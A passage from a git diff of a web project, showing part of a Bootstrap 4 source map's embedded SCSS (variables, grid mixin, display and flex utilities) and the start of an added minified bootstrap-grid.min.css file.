!default;\n$progress-font-size: ($font-size-base * .75) !default;\n$progress-bg: $gray-200 !default;\n$progress-border-radius: $border-radius !default;\n$progress-box-shadow: inset 0 .1rem .1rem rgba($black, .1) !default;\n$progress-bar-color: $white !default;\n$progress-bar-bg: theme-color(\"primary\") !default;\n$progress-bar-animation-timing: 1s linear infinite !default;\n$progress-bar-transition: width .6s ease !default;\n\n// List group\n\n$list-group-bg: $white !default;\n$list-group-border-color: rgba($black, .125) !default;\n$list-group-border-width: $border-width !default;\n$list-group-border-radius: $border-radius !default;\n\n$list-group-item-padding-y: .75rem !default;\n$list-group-item-padding-x: 1.25rem !default;\n\n$list-group-hover-bg: $gray-100 !default;\n$list-group-active-color: $component-active-color !default;\n$list-group-active-bg: $component-active-bg !default;\n$list-group-active-border-color: $list-group-active-bg !default;\n\n$list-group-disabled-color: $gray-600 !default;\n$list-group-disabled-bg: $list-group-bg !default;\n\n$list-group-action-color: $gray-700 !default;\n$list-group-action-hover-color: $list-group-action-color !default;\n\n$list-group-action-active-color: $body-color !default;\n$list-group-action-active-bg: $gray-200 !default;\n\n\n// Image thumbnails\n\n$thumbnail-padding: .25rem !default;\n$thumbnail-bg: $body-bg !default;\n$thumbnail-border-width: $border-width !default;\n$thumbnail-border-color: $gray-300 !default;\n$thumbnail-border-radius: $border-radius !default;\n$thumbnail-box-shadow: 0 1px 2px rgba($black, .075) !default;\n\n\n// Figures\n\n$figure-caption-font-size: 90% !default;\n$figure-caption-color: $gray-600 !default;\n\n\n// Breadcrumbs\n\n$breadcrumb-padding-y: .75rem !default;\n$breadcrumb-padding-x: 1rem !default;\n$breadcrumb-item-padding: .5rem !default;\n\n$breadcrumb-margin-bottom: 1rem !default;\n\n$breadcrumb-bg: $gray-200 !default;\n$breadcrumb-divider-color: $gray-600 !default;\n$breadcrumb-active-color: $gray-600 !default;\n$breadcrumb-divider: quote(\"/\") !default;\n\n$breadcrumb-border-radius: $border-radius !default;\n\n\n// Carousel\n\n$carousel-control-color: $white !default;\n$carousel-control-width: 15% !default;\n$carousel-control-opacity: .5 !default;\n\n$carousel-indicator-width: 30px !default;\n$carousel-indicator-height: 3px !default;\n$carousel-indicator-spacer: 3px !default;\n$carousel-indicator-active-bg: $white !default;\n\n$carousel-caption-width: 70% !default;\n$carousel-caption-color: $white !default;\n\n$carousel-control-icon-width: 20px !default;\n\n$carousel-control-prev-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='#{$carousel-control-color}' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$carousel-control-next-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='#{$carousel-control-color}' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$carousel-transition: transform .6s ease !default; // Define transform transition first if using multiple transitons (e.g., `transform 2s ease, opacity .5s ease-out`)\n\n\n// Close\n\n$close-font-size: $font-size-base * 1.5 !default;\n$close-font-weight: $font-weight-bold !default;\n$close-color: $black !default;\n$close-text-shadow: 0 1px 0 $white !default;\n\n// Code\n\n$code-font-size: 87.5% !default;\n$code-color: $pink !default;\n\n$kbd-padding-y: .2rem !default;\n$kbd-padding-x: .4rem !default;\n$kbd-font-size: $code-font-size !default;\n$kbd-color: $white !default;\n$kbd-bg: $gray-900 !default;\n\n$pre-color: $gray-900 !default;\n$pre-scrollable-max-height: 340px !default;\n\n\n// Printing\n$print-page-size: a3 !default;\n$print-body-min-width: map-get($grid-breakpoints, \"lg\") !default;\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `$grid-columns`.\n\n@mixin make-grid-columns($columns: $grid-columns, $gutter: $grid-gutter-width, $breakpoints: $grid-breakpoints) {\n // Common properties for all breakpoints\n %grid-column {\n position: relative;\n width: 100%;\n min-height: 1px; // Prevent columns from collapsing when empty\n padding-right: ($gutter / 2);\n padding-left: ($gutter / 2);\n }\n\n @each $breakpoint in map-keys($breakpoints) {\n $infix: breakpoint-infix($breakpoint, $breakpoints);\n\n // Allow columns to stretch full width below their breakpoints\n @for $i from 1 through $columns {\n .col#{$infix}-#{$i} {\n @extend %grid-column;\n }\n }\n .col#{$infix},\n .col#{$infix}-auto {\n @extend %grid-column;\n }\n\n @include media-breakpoint-up($breakpoint, $breakpoints) {\n // Provide basic `.col-{bp}` classes for equal-width flexbox columns\n .col#{$infix} {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col#{$infix}-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none; // Reset earlier grid tiers\n }\n\n @for $i from 1 through $columns {\n .col#{$infix}-#{$i} {\n @include make-col($i, $columns);\n }\n }\n\n .order#{$infix}-first { order: -1; }\n\n .order#{$infix}-last { order: $columns + 1; }\n\n @for $i from 0 through $columns {\n .order#{$infix}-#{$i} { order: $i; }\n }\n\n // `$columns - 1` because offsetting by the width of an entire row isn't possible\n @for $i from 0 through ($columns - 1) {\n @if not ($infix == \"\" and $i == 0) { // Avoid emitting useless .offset-0\n .offset#{$infix}-#{$i} {\n @include make-col-offset($i, $columns);\n }\n }\n }\n }\n }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Utilities for common `display` values\n//\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .d#{$infix}-none { display: none !important; }\n .d#{$infix}-inline { display: inline !important; }\n .d#{$infix}-inline-block { display: inline-block !important; }\n .d#{$infix}-block { display: block !important; }\n .d#{$infix}-table { display: table !important; }\n .d#{$infix}-table-row { display: table-row !important; }\n .d#{$infix}-table-cell { display: table-cell !important; }\n .d#{$infix}-flex { display: flex !important; }\n .d#{$infix}-inline-flex { display: inline-flex !important; }\n }\n}\n\n\n//\n// Utilities for toggling `display` in print\n//\n\n@media print {\n .d-print-none { display: none !important; }\n .d-print-inline { display: inline !important; }\n .d-print-inline-block { display: inline-block !important; }\n .d-print-block { display: block !important; }\n .d-print-table { display: table !important; }\n .d-print-table-row { display: table-row !important; }\n .d-print-table-cell { display: table-cell !important; }\n .d-print-flex { display: flex !important; }\n .d-print-inline-flex { display: inline-flex !important; }\n}\n","// stylelint-disable declaration-no-important\n\n// Flex variation\n//\n// Custom styles for additional flex alignment options.\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .flex#{$infix}-row { flex-direction: row !important; }\n .flex#{$infix}-column { flex-direction: column !important; }\n .flex#{$infix}-row-reverse { flex-direction: row-reverse !important; }\n .flex#{$infix}-column-reverse { flex-direction: column-reverse !important; }\n\n .flex#{$infix}-wrap { flex-wrap: wrap !important; }\n .flex#{$infix}-nowrap { flex-wrap: nowrap !important; }\n .flex#{$infix}-wrap-reverse { flex-wrap: wrap-reverse !important; }\n .flex#{$infix}-fill { flex: 1 1 auto !important; }\n .flex#{$infix}-grow-0 { flex-grow: 0 !important; }\n .flex#{$infix}-grow-1 { flex-grow: 1 !important; }\n .flex#{$infix}-shrink-0 { flex-shrink: 0 !important; }\n .flex#{$infix}-shrink-1 { flex-shrink: 1 !important; }\n\n .justify-content#{$infix}-start { justify-content: flex-start !important; }\n .justify-content#{$infix}-end { justify-content: flex-end !important; }\n .justify-content#{$infix}-center { justify-content: center !important; }\n .justify-content#{$infix}-between { justify-content: space-between !important; }\n .justify-content#{$infix}-around { justify-content: space-around !important; }\n\n .align-items#{$infix}-start { align-items: flex-start !important; }\n .align-items#{$infix}-end { align-items: flex-end !important; }\n .align-items#{$infix}-center { align-items: center !important; }\n .align-items#{$infix}-baseline { align-items: baseline !important; }\n .align-items#{$infix}-stretch { align-items: stretch !important; }\n\n .align-content#{$infix}-start { align-content: flex-start !important; }\n .align-content#{$infix}-end { align-content: flex-end !important; }\n .align-content#{$infix}-center { align-content: center !important; }\n .align-content#{$infix}-between { align-content: space-between !important; }\n .align-content#{$infix}-around { align-content: space-around !important; }\n .align-content#{$infix}-stretch { align-content: stretch !important; }\n\n .align-self#{$infix}-auto { align-self: auto !important; }\n .align-self#{$infix}-start { align-self: flex-start !important; }\n .align-self#{$infix}-end { align-self: flex-end !important; }\n .align-self#{$infix}-center { align-self: center !important; }\n .align-self#{$infix}-baseline { align-self: baseline !important; }\n .align-self#{$infix}-stretch { align-self: stretch !important; }\n }\n}\n"]} \ No newline at end of file diff --git a/public/css/bootstrap-grid.min.css b/public/css/bootstrap-grid.min.css new file mode 100644 index 0000000..79c746d --- /dev/null +++ b/public/css/bootstrap-grid.min.css @@ -0,0 +1,7 @@ +/*! + * Bootstrap Grid v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */@-ms-viewport{width:device-width}html{box-sizing:border-box;-ms-overflow-style:scrollbar}*,::after,::before{box-sizing:inherit}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-ms-flex-order:-1;order:-1}.order-last{-ms-flex-order:13;order:13}.order-0{-ms-flex-order:0;order:0}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}.order-3{-ms-flex-order:3;order:3}.order-4{-ms-flex-order:4;order:4}.order-5{-ms-flex-order:5;order:5}.order-6{-ms-flex-order:6;order:6}.order-7{-ms-flex-order:7;order:7}.order-8{-ms-flex-order:8;order:8}.order-9{-ms-flex-order:9;order:9}.order-10{-ms-flex-order:10;order:10}.order-11{-ms-flex-order:11;order:11}.order-12{-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-ms-flex-order:-1;order:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:10;order:10}.order-sm-11{-ms-flex-order:11;order:11}.order-sm-12{-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-ms-flex-order:-1;order:-1}.order-md-last{-ms-flex-order:13;order:13}.order-md-0{-ms-flex-order:0;order:0}.order-md-1{-ms-flex-order:1;order:1}.order-md-2{-ms-flex-order:2;order:2}.order-md-3{-ms-flex-order:3;order:3}.order-md-4{-ms-flex-order:4;order:4}.order-md-5{-ms-flex-order:5;order:5}.order-md-6{-ms-flex-order:6;order:6}.order-md-7{-ms-flex-order:7;order:7}.order-md-8{-ms-flex-order:8;order:8}.order-md-9{-ms-flex-order:9;order:9}.order-md-10{-ms-flex-order:10;order:10}.order-md-11{-ms-flex-order:11;order:11}.order-md-12{-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-ms-flex-order:-1;order:-1}.order-lg-last{-ms-flex-order:13;order:13}.order-lg-0{-ms-flex-order:0;order:0}.order-lg-1{-ms-flex-order:1;order:1}.order-lg-2{-ms-flex-order:2;order:2}.order-lg-3{-ms-flex-order:3;order:3}.order-lg-4{-ms-flex-order:4;order:4}.order-lg-5{-ms-flex-order:5;order:5}.order-lg-6{-ms-flex-order:6;order:6}.order-lg-7{-ms-flex-order:7;order:7}.order-lg-8{-ms-flex-order:8;order:8}.order-lg-9{-ms-flex-order:9;order:9}.order-lg-10{-ms-flex-order:10;order:10}.order-lg-11{-ms-flex-order:11;order:11}.order-lg-12{-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-ms-flex-order:-1;order:-1}.order-xl-last{-ms-flex-order:13;order:13}.order-xl-0{-ms-flex-order:0;order:0}.order-xl-1{-ms-flex-order:1;order:1}.order-xl-2{-ms-flex-order:2;order:2}.order-xl-3{-ms-flex-order:3;order:3}.order-xl-4{-ms-flex-order:4;order:4}.order-xl-5{-ms-flex-order:5;order:5}.order-xl-6{-ms-flex-order:6;order:6}.order-xl-7{-ms-flex-order:7;order:7}.order-xl-8{-ms-flex-order:8;order:8}.order-xl-9{-ms-flex-order:9;order:9}.order-xl-10{-ms-flex-order:10;order:10}.order-xl-11{-ms-flex-order:11;order:11}.order-xl-12{-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}.flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}@media (min-width:576px){.flex-sm-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-sm-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-sm-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-sm-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-sm-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-sm-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-sm-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-